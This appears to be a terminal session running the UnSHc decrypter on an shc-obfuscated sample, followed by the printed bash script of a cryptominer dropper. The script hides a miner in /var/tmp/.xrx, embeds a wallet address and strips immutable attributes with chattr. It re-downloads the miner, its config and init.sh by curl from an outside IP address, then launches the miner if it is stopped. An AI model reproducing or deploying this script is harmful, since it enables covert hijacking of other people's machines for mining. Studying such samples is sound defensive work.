[[email protected] tmp]# ./unshc.sh d1be07f497cdf665fd019208ec921dc2 
 _   _       _____ _   _      
| | | |     /  ___| | | |     
| | | |_ __ \ `--.| |_| | ___ 
| | | | '_ \ `--. \  _  |/ __|
| |_| | | | /\__/ / | | | (__ 
 \___/|_| |_\____/\_| |_/\___|

--- UnSHc - The shc decrypter.
--- Version: 0.8
------------------------------
UnSHc is used to decrypt script encrypted with SHc
Original idea from Luiz Octavio Duarte (LOD)
Updated and modernized by Yann CAM
- SHc   : [http://www.datsi.fi.upm.es/~frosal/]
- UnSHc : [https://www.asafety.fr/unshc-the-shc-decrypter/]
------------------------------

[*] Input file name to decrypt [d1be07f497cdf665fd019208ec921dc2]
[+] ARC4 address call candidate : [0x479630]
[*] Extracting each args address and size for the 14 arc4() calls with address [0x479630]...
[-] Unable to extract addresses of 14 arc4 args with ARC4 address call [0x479630]...
[+] ARC4 address call candidate : [0x42ff10]
[*] Extracting each args address and size for the 14 arc4() calls with address [0x42ff10]...
[-] Unable to extract addresses of 14 arc4 args with ARC4 address call [0x42ff10]...
[-] Unable to define arc4() call address...

#!/bin/bash
rm -rf /dev/shm/.x/temp
directory=/var/tmp/.xrx
wallet=4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL
filetypexrx="/var/tmp/.xrx/xrx: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped"
checkfiletype=$(file $directory/xrx)
ifrunning=$(pgrep xrx)
### Check if /var/tmp/.xrx still exists on the system
if [[ -d "$directory" ]]; then
echo "$directory exists."
else
mkdir $directory
fi

### Basic check if xrx is not a ELF executable or if it's not executable/existing
if [ "$filetypexrx" = "$checkfiletype" ] || ! [ -x $directory/xrx ]; then
echo "miner intact"
else
echo "miner missing/corrupted"
chattr -ia $directory/xrx
rm -rf $directory/xrx
curl 141.95.19.91:8080/xrx/xrx -o $directory/xrx
chmod +x $directory/xrx
fi
### Make sure the wallet in the config is not changed
if grep $wallet $directory/config.json -q ; then
echo "wallet intact"
else
echo "wallet missing/tampered"
chattr -ia $directory/config.json
rm -rf $directory/config.json
curl 141.95.19.91:8080/xrx/config.json -o $directory/config.json
fi
### Make sure init.sh is existing,and executable
if ! [ -x $directory/init.sh ]; then
echo "init.sh missing/corrupted"
chattr -ia $directory/init.sh
rm -rf $directory/init.sh
curl 141.95.19.91:8080/xrx/init.sh -o $directory/init.sh
chmod +x $directory/init.sh
else
echo "init.sh intact"
fi
if test -z "$ifrunning" ; then
echo "xrx not running,starting init.sh"
$directory/init.sh
fi